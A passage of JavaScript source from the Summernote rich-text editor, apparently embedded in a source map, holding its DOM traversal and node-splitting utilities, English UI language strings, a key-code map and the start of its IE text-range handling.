function(node) {\n    return node && node.nodeName.toUpperCase() === nodeName;\n  };\n}\n\n/**\n * @method isText\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is text(3)\n */\nfunction isText(node) {\n  return node && node.nodeType === 3;\n}\n\n/**\n * @method isElement\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is element(1)\n */\nfunction isElement(node) {\n  return node && node.nodeType === 1;\n}\n\n/**\n * ex) br, col, embed, hr, img, input, ...\n * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements\n */\nfunction isVoid(node) {\n  return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());\n}\n\nfunction isPara(node) {\n  if (isEditable(node)) {\n    return false;\n  }\n\n  // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph\n  return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nfunction isHeading(node) {\n  return node && /^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nconst isPre = makePredByNodeName('PRE');\n\nconst isLi = makePredByNodeName('LI');\n\nfunction isPurePara(node) {\n  return isPara(node) && !isLi(node);\n}\n\nconst isTable = makePredByNodeName('TABLE');\n\nconst isData = makePredByNodeName('DATA');\n\nfunction isInline(node) {\n  return !isBodyContainer(node) &&\n         !isList(node) &&\n         !isHr(node) &&\n         !isPara(node) &&\n         !isTable(node) &&\n         !isBlockquote(node) &&\n         !isData(node);\n}\n\nfunction isList(node) {\n  return node && /^UL|^OL/.test(node.nodeName.toUpperCase());\n}\n\nconst isHr = makePredByNodeName('HR');\n\nfunction isCell(node) {\n  return node && /^TD|^TH/.test(node.nodeName.toUpperCase());\n}\n\nconst isBlockquote = makePredByNodeName('BLOCKQUOTE');\n\nfunction isBodyContainer(node) {\n  return isCell(node) || isBlockquote(node) || isEditable(node);\n}\n\nconst isAnchor = makePredByNodeName('A');\n\nfunction isParaInline(node) {\n  return isInline(node) && !!ancestor(node, isPara);\n}\n\nfunction isBodyInline(node) {\n  return isInline(node) && !ancestor(node, isPara);\n}\n\nconst isBody = makePredByNodeName('BODY');\n\n/**\n * returns whether nodeB is closest sibling of nodeA\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n * @return {Boolean}\n */\nfunction isClosestSibling(nodeA, nodeB) {\n  return nodeA.nextSibling === nodeB ||\n         nodeA.previousSibling === nodeB;\n}\n\n/**\n * returns array of closest siblings with node\n *\n * @param {Node} node\n * @param {function} [pred] - predicate function\n * @return {Node[]}\n */\nfunction withClosestSiblings(node, pred) {\n  pred = pred || func.ok;\n\n  const siblings = [];\n  if (node.previousSibling && pred(node.previousSibling)) {\n    siblings.push(node.previousSibling);\n  }\n  siblings.push(node);\n  if (node.nextSibling && pred(node.nextSibling)) {\n    siblings.push(node.nextSibling);\n  }\n  return siblings;\n}\n\n/**\n * blank HTML for cursor position\n * - [workaround] old IE only works with &nbsp;\n * - [workaround] IE11 and other browser works with bogus br\n */\nconst blankHTML = env.isMSIE && env.browserVersion < 11 ? '&nbsp;' : '<br>';\n\n/**\n * @method nodeLength\n *\n * returns #text's text size or element's childNodes size\n *\n * @param {Node} node\n */\nfunction nodeLength(node) {\n  if (isText(node)) {\n    return node.nodeValue.length;\n  }\n\n  if (node) {\n    return node.childNodes.length;\n  }\n\n  return 0;\n}\n\n/**\n * returns whether node is empty or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEmpty(node) {\n  const len = nodeLength(node);\n\n  if (len === 0) {\n    return true;\n  } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {\n    // ex) <p><br></p>, <span><br></span>\n    return true;\n  } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {\n    // ex) <p></p>, <span></span>\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * padding blankHTML if node is empty (for cursor position)\n */\nfunction paddingBlankHTML(node) {\n  if (!isVoid(node) && !nodeLength(node)) {\n    node.innerHTML = blankHTML;\n  }\n}\n\n/**\n * find nearest ancestor predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction ancestor(node, pred) {\n  while (node) {\n    if (pred(node)) { return node; }\n    if (isEditable(node)) { break; }\n\n    node = node.parentNode;\n  }\n  return null;\n}\n\n/**\n * find nearest ancestor only single child blood line and predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction singleChildAncestor(node, pred) {\n  node = node.parentNode;\n\n  while (node) {\n    if (nodeLength(node) !== 1) { break; }\n    if (pred(node)) { return node; }\n    if (isEditable(node)) { break; }\n\n    node = node.parentNode;\n  }\n  return null;\n}\n\n/**\n * returns new array of ancestor nodes (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listAncestor(node, pred) {\n  pred = pred || func.fail;\n\n  const ancestors = [];\n  ancestor(node, function(el) {\n    if (!isEditable(el)) {\n      ancestors.push(el);\n    }\n\n    return pred(el);\n  });\n  return ancestors;\n}\n\n/**\n * find farthest ancestor predicate hit\n */\nfunction lastAncestor(node, pred) {\n  const ancestors = listAncestor(node);\n  return lists.last(ancestors.filter(pred));\n}\n\n/**\n * returns common ancestor node between two nodes.\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n */\nfunction commonAncestor(nodeA, nodeB) {\n  const ancestors = listAncestor(nodeA);\n  for (let n = nodeB; n; n = n.parentNode) {\n    if ($.inArray(n, ancestors) > -1) { return n; }\n  }\n  return null; // difference document area\n}\n\n/**\n * listing all previous siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listPrev(node, pred) {\n  pred = pred || func.fail;\n\n  const nodes = [];\n  while (node) {\n    if (pred(node)) { break; }\n    nodes.push(node);\n    node = node.previousSibling;\n  }\n  return nodes;\n}\n\n/**\n * listing next siblings (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listNext(node, pred) {\n  pred = pred || func.fail;\n\n  const nodes = [];\n  while (node) {\n    if (pred(node)) { break; }\n    nodes.push(node);\n    node = node.nextSibling;\n  }\n  return nodes;\n}\n\n/**\n * listing descendant nodes\n *\n * @param {Node} node\n * @param {Function} [pred] - predicate function\n */\nfunction listDescendant(node, pred) {\n  const descendants = [];\n  pred = pred || func.ok;\n\n  // start DFS(depth first search) with node\n  (function fnWalk(current) {\n    if (node !== current && pred(current)) {\n      descendants.push(current);\n    }\n    for (let idx = 0, len = current.childNodes.length; idx < len; idx++) {\n      fnWalk(current.childNodes[idx]);\n    }\n  })(node);\n\n  return descendants;\n}\n\n/**\n * wrap node with new tag.\n *\n * @param {Node} node\n * @param {Node} tagName of wrapper\n * @return {Node} - wrapper\n */\nfunction wrap(node, wrapperName) {\n  const parent = node.parentNode;\n  const wrapper = $('<' + wrapperName + '>')[0];\n\n  parent.insertBefore(wrapper, node);\n  wrapper.appendChild(node);\n\n  return wrapper;\n}\n\n/**\n * insert node after preceding\n *\n * @param {Node} node\n * @param {Node} preceding - predicate function\n */\nfunction insertAfter(node, preceding) {\n  const next = preceding.nextSibling;\n  let parent = preceding.parentNode;\n  if (next) {\n    parent.insertBefore(node, next);\n  } else {\n    parent.appendChild(node);\n  }\n  return node;\n}\n\n/**\n * append elements.\n *\n * @param {Node} node\n * @param {Collection} aChild\n */\nfunction appendChildNodes(node, aChild) {\n  $.each(aChild, function(idx, child) {\n    node.appendChild(child);\n  });\n  return node;\n}\n\n/**\n * returns whether boundaryPoint is left edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isLeftEdgePoint(point) {\n  return point.offset === 0;\n}\n\n/**\n * returns whether boundaryPoint is right edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isRightEdgePoint(point) {\n  return point.offset === nodeLength(point.node);\n}\n\n/**\n * returns whether boundaryPoint is edge or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isEdgePoint(point) {\n  return isLeftEdgePoint(point) || isRightEdgePoint(point);\n}\n\n/**\n * returns whether node is left edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgeOf(node, ancestor) {\n  while (node && node !== ancestor) {\n    if (position(node) !== 0) {\n      return false;\n    }\n    node = node.parentNode;\n  }\n\n  return true;\n}\n\n/**\n * returns whether node is right edge of ancestor or not.\n *\n * @param {Node} node\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgeOf(node, ancestor) {\n  if (!ancestor) {\n    return false;\n  }\n  while (node && node !== ancestor) {\n    if (position(node) !== nodeLength(node.parentNode) - 1) {\n      return false;\n    }\n    node = node.parentNode;\n  }\n\n  return true;\n}\n\n/**\n * returns whether point is left edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isLeftEdgePointOf(point, ancestor) {\n  return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns whether point is right edge of ancestor or not.\n * @param {BoundaryPoint} point\n * @param {Node} ancestor\n * @return {Boolean}\n */\nfunction isRightEdgePointOf(point, ancestor) {\n  return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);\n}\n\n/**\n * returns offset from parent.\n *\n * @param {Node} node\n */\nfunction position(node) {\n  let offset = 0;\n  while ((node = node.previousSibling)) {\n    offset += 1;\n  }\n  return offset;\n}\n\nfunction hasChildren(node) {\n  return !!(node && node.childNodes && node.childNodes.length);\n}\n\n/**\n * returns previous boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction prevPoint(point, isSkipInnerOffset) {\n  let node;\n  let offset;\n\n  if (point.offset === 0) {\n    if (isEditable(point.node)) {\n      return null;\n    }\n\n    node = point.node.parentNode;\n    offset = position(point.node);\n  } else if (hasChildren(point.node)) {\n    node = point.node.childNodes[point.offset - 1];\n    offset = nodeLength(node);\n  } else {\n    node = point.node;\n    offset = isSkipInnerOffset ? 0 : point.offset - 1;\n  }\n\n  return {\n    node: node,\n    offset: offset\n  };\n}\n\n/**\n * returns next boundaryPoint\n *\n * @param {BoundaryPoint} point\n * @param {Boolean} isSkipInnerOffset\n * @return {BoundaryPoint}\n */\nfunction nextPoint(point, isSkipInnerOffset) {\n  let node, offset;\n\n  if (nodeLength(point.node) === point.offset) {\n    if (isEditable(point.node)) {\n      return null;\n    }\n\n    node = point.node.parentNode;\n    offset = position(point.node) + 1;\n  } else if (hasChildren(point.node)) {\n    node = point.node.childNodes[point.offset];\n    offset = 0;\n  } else {\n    node = point.node;\n    offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;\n  }\n\n  return {\n    node: node,\n    offset: offset\n  };\n}\n\n/**\n * returns whether pointA and pointB is same or not.\n *\n * @param {BoundaryPoint} pointA\n * @param {BoundaryPoint} pointB\n * @return {Boolean}\n */\nfunction isSamePoint(pointA, pointB) {\n  return pointA.node === pointB.node && pointA.offset === pointB.offset;\n}\n\n/**\n * returns whether point is visible (can set cursor) or not.\n *\n * @param {BoundaryPoint} point\n * @return {Boolean}\n */\nfunction isVisiblePoint(point) {\n  if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {\n    return true;\n  }\n\n  const leftNode = point.node.childNodes[point.offset - 1];\n  const rightNode = point.node.childNodes[point.offset];\n  if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {\n    return true;\n  }\n\n  return false;\n}\n\n/**\n * @method prevPointUtil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction prevPointUntil(point, pred) {\n  while (point) {\n    if (pred(point)) {\n      return point;\n    }\n\n    point = prevPoint(point);\n  }\n\n  return null;\n}\n\n/**\n * @method nextPointUntil\n *\n * @param {BoundaryPoint} point\n * @param {Function} pred\n * @return {BoundaryPoint}\n */\nfunction nextPointUntil(point, pred) {\n  while (point) {\n    if (pred(point)) {\n      return point;\n    }\n\n    point = nextPoint(point);\n  }\n\n  return null;\n}\n\n/**\n * returns whether point has character or not.\n *\n * @param {Point} point\n * @return {Boolean}\n */\nfunction isCharPoint(point) {\n  if (!isText(point.node)) {\n    return false;\n  }\n\n  const ch = point.node.nodeValue.charAt(point.offset - 1);\n  return ch && (ch !== ' ' && ch !== NBSP_CHAR);\n}\n\n/**\n * @method walkPoint\n *\n * @param {BoundaryPoint} startPoint\n * @param {BoundaryPoint} endPoint\n * @param {Function} handler\n * @param {Boolean} isSkipInnerOffset\n */\nfunction walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {\n  let point = startPoint;\n\n  while (point) {\n    handler(point);\n\n    if (isSamePoint(point, endPoint)) {\n      break;\n    }\n\n    const isSkipOffset = isSkipInnerOffset &&\n                       startPoint.node !== point.node &&\n                       endPoint.node !== point.node;\n    point = nextPoint(point, isSkipOffset);\n  }\n}\n\n/**\n * @method makeOffsetPath\n *\n * return offsetPath(array of offset) from ancestor\n *\n * @param {Node} ancestor - ancestor node\n * @param {Node} node\n */\nfunction makeOffsetPath(ancestor, node) {\n  const ancestors = listAncestor(node, func.eq(ancestor));\n  return ancestors.map(position).reverse();\n}\n\n/**\n * @method fromOffsetPath\n *\n * return element from offsetPath(array of offset)\n *\n * @param {Node} ancestor - ancestor node\n * @param {array} offsets - offsetPath\n */\nfunction fromOffsetPath(ancestor, offsets) {\n  let current = ancestor;\n  for (let i = 0, len = offsets.length; i < len; i++) {\n    if (current.childNodes.length <= offsets[i]) {\n      current = current.childNodes[current.childNodes.length - 1];\n    } else {\n      current = current.childNodes[offsets[i]];\n    }\n  }\n  return current;\n}\n\n/**\n * @method splitNode\n *\n * split element or #text\n *\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitNode(point, options) {\n  const isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;\n  const isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;\n\n  // edge case\n  if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {\n    if (isLeftEdgePoint(point)) {\n      return point.node;\n    } else if (isRightEdgePoint(point)) {\n      return point.node.nextSibling;\n    }\n  }\n\n  // split #text\n  if (isText(point.node)) {\n    return point.node.splitText(point.offset);\n  } else {\n    const childNode = point.node.childNodes[point.offset];\n    const clone = insertAfter(point.node.cloneNode(false), point.node);\n    appendChildNodes(clone, listNext(childNode));\n\n    if (!isSkipPaddingBlankHTML) {\n      paddingBlankHTML(point.node);\n      paddingBlankHTML(clone);\n    }\n\n    return clone;\n  }\n}\n\n/**\n * @method splitTree\n *\n * split tree by point\n *\n * @param {Node} root - split root\n * @param {BoundaryPoint} point\n * @param {Object} [options]\n * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false\n * @param {Boolean} [options.isNotSplitEdgePoint] - default: false\n * @return {Node} right node of boundaryPoint\n */\nfunction splitTree(root, point, options) {\n  // ex) [#text, <span>, <p>]\n  const ancestors = listAncestor(point.node, func.eq(root));\n\n  if (!ancestors.length) {\n    return null;\n  } else if (ancestors.length === 1) {\n    return splitNode(point, options);\n  }\n\n  return ancestors.reduce(function(node, parent) {\n    if (node === point.node) {\n      node = splitNode(point, options);\n    }\n\n    return splitNode({\n      node: parent,\n      offset: node ? position(node) : nodeLength(parent)\n    }, options);\n  });\n}\n\n/**\n * split point\n *\n * @param {Point} point\n * @param {Boolean} isInline\n * @return {Object}\n */\nfunction splitPoint(point, isInline) {\n  // find splitRoot, container\n  //  - inline: splitRoot is a child of paragraph\n  //  - block: splitRoot is a child of bodyContainer\n  const pred = isInline ? isPara : isBodyContainer;\n  const ancestors = listAncestor(point.node, pred);\n  const topAncestor = lists.last(ancestors) || point.node;\n\n  let splitRoot, container;\n  if (pred(topAncestor)) {\n    splitRoot = ancestors[ancestors.length - 2];\n    container = topAncestor;\n  } else {\n    splitRoot = topAncestor;\n    container = splitRoot.parentNode;\n  }\n\n  // if splitRoot is exists, split with splitTree\n  let pivot = splitRoot && splitTree(splitRoot, point, {\n    isSkipPaddingBlankHTML: isInline,\n    isNotSplitEdgePoint: isInline\n  });\n\n  // if container is point.node, find pivot with point.offset\n  if (!pivot && container === point.node) {\n    pivot = point.node.childNodes[point.offset];\n  }\n\n  return {\n    rightNode: pivot,\n    container: container\n  };\n}\n\nfunction create(nodeName) {\n  return document.createElement(nodeName);\n}\n\nfunction createText(text) {\n  return document.createTextNode(text);\n}\n\n/**\n * @method remove\n *\n * remove node, (isRemoveChild: remove child or not)\n *\n * @param {Node} node\n * @param {Boolean} isRemoveChild\n */\nfunction remove(node, isRemoveChild) {\n  if (!node || !node.parentNode) { return; }\n  if (node.removeNode) { return node.removeNode(isRemoveChild); }\n\n  const parent = node.parentNode;\n  if (!isRemoveChild) {\n    const nodes = [];\n    for (let i = 0, len = node.childNodes.length; i < len; i++) {\n      nodes.push(node.childNodes[i]);\n    }\n\n    for (let i = 0, len = nodes.length; i < len; i++) {\n      parent.insertBefore(nodes[i], node);\n    }\n  }\n\n  parent.removeChild(node);\n}\n\n/**\n * @method removeWhile\n *\n * @param {Node} node\n * @param {Function} pred\n */\nfunction removeWhile(node, pred) {\n  while (node) {\n    if (isEditable(node) || !pred(node)) {\n      break;\n    }\n\n    const parent = node.parentNode;\n    remove(node);\n    node = parent;\n  }\n}\n\n/**\n * @method replace\n *\n * replace node with provided nodeName\n *\n * @param {Node} node\n * @param {String} nodeName\n * @return {Node} - new node\n */\nfunction replace(node, nodeName) {\n  if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {\n    return node;\n  }\n\n  const newNode = create(nodeName);\n\n  if (node.style.cssText) {\n    newNode.style.cssText = node.style.cssText;\n  }\n\n  appendChildNodes(newNode, lists.from(node.childNodes));\n  insertAfter(newNode, node);\n  remove(node);\n\n  return newNode;\n}\n\nconst isTextarea = makePredByNodeName('TEXTAREA');\n\n/**\n * @param {jQuery} $node\n * @param {Boolean} [stripLinebreaks] - default: false\n */\nfunction value($node, stripLinebreaks) {\n  const val = isTextarea($node[0]) ? $node.val() : $node.html();\n  if (stripLinebreaks) {\n    return val.replace(/[\\n\\r]/g, '');\n  }\n  return val;\n}\n\n/**\n * @method html\n *\n * get the HTML contents of node\n *\n * @param {jQuery} $node\n * @param {Boolean} [isNewlineOnBlock]\n */\nfunction html($node, isNewlineOnBlock) {\n  let markup = value($node);\n\n  if (isNewlineOnBlock) {\n    const regexTag = /<(\\/?)(\\b(?!!)[^>\\s]*)(.*?)(\\s*\\/?>)/g;\n    markup = markup.replace(regexTag, function(match, endSlash, name) {\n      name = name.toUpperCase();\n      const isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&\n                                   !!endSlash;\n      const isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);\n\n      return match + ((isEndOfInlineContainer || isBlockNode) ? '\\n' : '');\n    });\n    markup = $.trim(markup);\n  }\n\n  return markup;\n}\n\nfunction posFromPlaceholder(placeholder) {\n  const $placeholder = $(placeholder);\n  const pos = $placeholder.offset();\n  const height = $placeholder.outerHeight(true); // include margin\n\n  return {\n    left: pos.left,\n    top: pos.top + height\n  };\n}\n\nfunction attachEvents($node, events) {\n  Object.keys(events).forEach(function(key) {\n    $node.on(key, events[key]);\n  });\n}\n\nfunction detachEvents($node, events) {\n  Object.keys(events).forEach(function(key) {\n    $node.off(key, events[key]);\n  });\n}\n\n/**\n * @method isCustomStyleTag\n *\n * assert if a node contains a \"note-styletag\" class,\n * which implies that's a custom-made style tag node\n *\n * @param {Node} an HTML DOM node\n */\nfunction isCustomStyleTag(node) {\n  return node && !isText(node) && lists.contains(node.classList, 'note-styletag');\n}\n\nexport default {\n  /** @property {String} NBSP_CHAR */\n  NBSP_CHAR,\n  /** @property {String} ZERO_WIDTH_NBSP_CHAR */\n  ZERO_WIDTH_NBSP_CHAR,\n  /** @property {String} blank */\n  blank: blankHTML,\n  /** @property {String} emptyPara */\n  emptyPara: `<p>${blankHTML}</p>`,\n  makePredByNodeName,\n  isEditable,\n  isControlSizing,\n  isText,\n  isElement,\n  isVoid,\n  isPara,\n  isPurePara,\n  isHeading,\n  isInline,\n  isBlock: func.not(isInline),\n  isBodyInline,\n  isBody,\n  isParaInline,\n  isPre,\n  isList,\n  isTable,\n  isData,\n  isCell,\n  isBlockquote,\n  isBodyContainer,\n  isAnchor,\n  isDiv: makePredByNodeName('DIV'),\n  isLi,\n  isBR: makePredByNodeName('BR'),\n  isSpan: makePredByNodeName('SPAN'),\n  isB: makePredByNodeName('B'),\n  isU: makePredByNodeName('U'),\n  isS: makePredByNodeName('S'),\n  isI: makePredByNodeName('I'),\n  isImg: makePredByNodeName('IMG'),\n  isTextarea,\n  isEmpty,\n  isEmptyAnchor: func.and(isAnchor, isEmpty),\n  isClosestSibling,\n  withClosestSiblings,\n  nodeLength,\n  isLeftEdgePoint,\n  isRightEdgePoint,\n  isEdgePoint,\n  isLeftEdgeOf,\n  isRightEdgeOf,\n  isLeftEdgePointOf,\n  isRightEdgePointOf,\n  prevPoint,\n  nextPoint,\n  isSamePoint,\n  isVisiblePoint,\n  prevPointUntil,\n  nextPointUntil,\n  isCharPoint,\n  walkPoint,\n  ancestor,\n  singleChildAncestor,\n  listAncestor,\n  lastAncestor,\n  listNext,\n  listPrev,\n  listDescendant,\n  commonAncestor,\n  wrap,\n  insertAfter,\n  appendChildNodes,\n  position,\n  hasChildren,\n  makeOffsetPath,\n  fromOffsetPath,\n  splitTree,\n  splitPoint,\n  create,\n  createText,\n  remove,\n  removeWhile,\n  replace,\n  html,\n  value,\n  posFromPlaceholder,\n  attachEvents,\n  detachEvents,\n  isCustomStyleTag\n};\n","import $ from 'jquery';\n\n$.summernote = $.summernote || {\n  lang: {}\n};\n\n$.extend($.summernote.lang, {\n  'en-US': {\n    font: {\n      bold: 'Bold',\n      italic: 'Italic',\n      underline: 'Underline',\n      clear: 'Remove Font Style',\n      height: 'Line Height',\n      name: 'Font Family',\n      strikethrough: 'Strikethrough',\n      subscript: 'Subscript',\n      superscript: 'Superscript',\n      size: 'Font Size'\n    },\n    image: {\n      image: 'Picture',\n      insert: 'Insert Image',\n      resizeFull: 'Resize Full',\n      resizeHalf: 'Resize Half',\n      resizeQuarter: 'Resize Quarter',\n      floatLeft: 'Float Left',\n      floatRight: 'Float Right',\n      floatNone: 'Float None',\n      shapeRounded: 'Shape: Rounded',\n      shapeCircle: 'Shape: Circle',\n      shapeThumbnail: 'Shape: Thumbnail',\n      shapeNone: 'Shape: None',\n      dragImageHere: 'Drag image or text here',\n      dropImage: 'Drop image or Text',\n      selectFromFiles: 'Select from files',\n      maximumFileSize: 'Maximum file size',\n      maximumFileSizeError: 'Maximum file size exceeded.',\n      url: 'Image URL',\n      remove: 'Remove Image',\n      original: 'Original'\n    },\n    video: {\n      video: 'Video',\n      videoLink: 'Video Link',\n      insert: 'Insert Video',\n      url: 'Video URL',\n      providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)'\n    },\n    link: {\n      link: 'Link',\n      insert: 'Insert Link',\n      unlink: 'Unlink',\n      edit: 'Edit',\n      textToDisplay: 'Text to display',\n      url: 'To what URL should this link go?',\n      openInNewWindow: 'Open in new window'\n    },\n    table: {\n      table: 'Table',\n      addRowAbove: 'Add row above',\n      addRowBelow: 'Add row below',\n      addColLeft: 'Add column left',\n      addColRight: 'Add column right',\n      delRow: 'Delete row',\n      delCol: 'Delete column',\n      delTable: 'Delete table'\n    },\n    hr: {\n      insert: 'Insert Horizontal Rule'\n    },\n    style: {\n      style: 'Style',\n      p: 'Normal',\n      blockquote: 'Quote',\n      pre: 'Code',\n      h1: 'Header 1',\n      h2: 'Header 2',\n      h3: 'Header 3',\n      h4: 'Header 4',\n      h5: 'Header 5',\n      h6: 'Header 6'\n    },\n    lists: {\n      unordered: 'Unordered list',\n      ordered: 'Ordered list'\n    },\n    options: {\n      help: 'Help',\n      fullscreen: 'Full Screen',\n      codeview: 'Code View'\n    },\n    paragraph: {\n      paragraph: 'Paragraph',\n      outdent: 'Outdent',\n      indent: 'Indent',\n      left: 'Align left',\n      center: 'Align center',\n      right: 'Align right',\n      justify: 'Justify full'\n    },\n    color: {\n      recent: 'Recent Color',\n      more: 'More Color',\n      background: 'Background Color',\n      foreground: 'Foreground Color',\n      transparent: 'Transparent',\n      setTransparent: 'Set transparent',\n      reset: 'Reset',\n      resetToDefault: 'Reset to default'\n    },\n    shortcut: {\n      shortcuts: 'Keyboard shortcuts',\n      close: 'Close',\n      textFormatting: 'Text formatting',\n      action: 'Action',\n      paragraphFormatting: 'Paragraph formatting',\n      documentStyle: 'Document Style',\n      extraKeys: 'Extra keys'\n    },\n    help: {\n      'insertParagraph': 'Insert Paragraph',\n      'undo': 'Undoes the last command',\n      'redo': 'Redoes the last command',\n      'tab': 'Tab',\n      'untab': 'Untab',\n      'bold': 'Set a bold style',\n      'italic': 'Set a italic style',\n      'underline': 'Set a underline style',\n      'strikethrough': 'Set a strikethrough style',\n      'removeFormat': 'Clean a style',\n      'justifyLeft': 'Set left align',\n      'justifyCenter': 'Set center align',\n      'justifyRight': 'Set right align',\n      'justifyFull': 'Set full align',\n      'insertUnorderedList': 'Toggle unordered list',\n      'insertOrderedList': 'Toggle ordered list',\n      'outdent': 'Outdent on current paragraph',\n      'indent': 'Indent on current paragraph',\n      'formatPara': 'Change current block\\'s format as a paragraph(P tag)',\n      'formatH1': 'Change current block\\'s format as H1',\n      'formatH2': 'Change current block\\'s format as H2',\n      'formatH3': 'Change current block\\'s format as H3',\n      'formatH4': 'Change current block\\'s format as H4',\n      'formatH5': 'Change current block\\'s format as H5',\n      'formatH6': 'Change current block\\'s format as H6',\n      'insertHorizontalRule': 'Insert horizontal rule',\n      'linkDialog.show': 'Show Link Dialog'\n    },\n    history: {\n      undo: 'Undo',\n      redo: 'Redo'\n    },\n    specialChar: {\n      specialChar: 'SPECIAL CHARACTERS',\n      select: 'Select Special characters'\n    }\n  }\n});\n","import lists from './lists';\nimport func from './func';\n\nconst KEY_MAP = {\n  'BACKSPACE': 8,\n  'TAB': 9,\n  'ENTER': 13,\n  'SPACE': 32,\n  'DELETE': 46,\n\n  // Arrow\n  'LEFT': 37,\n  'UP': 38,\n  'RIGHT': 39,\n  'DOWN': 40,\n\n  // Number: 0-9\n  'NUM0': 48,\n  'NUM1': 49,\n  'NUM2': 50,\n  'NUM3': 51,\n  'NUM4': 52,\n  'NUM5': 53,\n  'NUM6': 54,\n  'NUM7': 55,\n  'NUM8': 56,\n\n  // Alphabet: a-z\n  'B': 66,\n  'E': 69,\n  'I': 73,\n  'J': 74,\n  'K': 75,\n  'L': 76,\n  'R': 82,\n  'S': 83,\n  'U': 85,\n  'V': 86,\n  'Y': 89,\n  'Z': 90,\n\n  'SLASH': 191,\n  'LEFTBRACKET': 219,\n  'BACKSLASH': 220,\n  'RIGHTBRACKET': 221\n};\n\n/**\n * @class core.key\n *\n * Object for keycodes.\n *\n * @singleton\n * @alternateClassName key\n */\nexport default {\n  /**\n   * @method isEdit\n   *\n   * @param {Number} keyCode\n   * @return {Boolean}\n   */\n  isEdit: (keyCode) => {\n    return lists.contains([\n      KEY_MAP.BACKSPACE,\n      KEY_MAP.TAB,\n      KEY_MAP.ENTER,\n      KEY_MAP.SPACE,\n      KEY_MAP.DELETE\n    ], keyCode);\n  },\n  /**\n   * @method isMove\n   *\n   * @param {Number} keyCode\n   * @return {Boolean}\n   */\n  isMove: (keyCode) => {\n    return lists.contains([\n      KEY_MAP.LEFT,\n      KEY_MAP.UP,\n      KEY_MAP.RIGHT,\n      KEY_MAP.DOWN\n    ], keyCode);\n  },\n  /**\n   * @property {Object} nameFromCode\n   * @property {String} nameFromCode.8 \"BACKSPACE\"\n   */\n  nameFromCode: func.invertObject(KEY_MAP),\n  code: KEY_MAP\n};\n","import $ from 'jquery';\nimport env from './env';\nimport func from './func';\nimport lists from './lists';\nimport dom from './dom';\n\n/**\n * return boundaryPoint from TextRange, inspired by Andy Na's HuskyRange.js\n *\n * @param {TextRange} textRange\n * @param {Boolean} isStart\n * @return {BoundaryPoint}\n *\n * @see http://msdn.microsoft.com/en-us/library/ie/ms535872(v=vs.85).aspx\n */\nfunction textRangeToPoint(textRange, isStart) {\n  let container = textRange.parentElement();\n  let offset;\n\n  const tester = document.body.createTextRange();\n  let prevContainer;\n  const childNodes = lists.from(container.childNodes);\n  for (offset = 0; offset < childNodes.length; offset++) {\n    if (dom.isText(childNodes[offset])) {\n      continue;\n    }\n    tester.moveToElementText(childNodes[offset]);\n    if (tester.compareEndPoints('StartToStart', textRange) >= 0) {\n      break;\n    }\n    prevContainer = childNodes[offset];\n  }\n\n  if (offset !== 0 && dom.isText(childNodes[offset - 1])) {\n    const textRangeStart = document.body.createTextRange();\n    let curTextNode = null;\n    textRangeStart.moveToElementText(prevContainer || container);\n    textRangeStart.collapse(!prevContainer);\n    curTextNode = prevContainer ? prevContainer.nextSibling : container.firstChild;\n\n    const pointTester = textRange.duplicate();\n    pointTester.setEndPoint('StartToStart', textRangeStart);\n    let textCount = pointTester.text.replace(/[\\r\\n]/g, '').length;\n\n    while (textCount > curTextNode.nodeValue.length && curTextNode.nextSibling) {\n      textCount -= curTextNode.nodeValue.length;\n      curTextNode = curTextNode.nextSibling;\n    }\n\n    // [workaround] enforce IE to re-reference curTextNode, hack\n    const dummy = curTextNode.nodeValue; 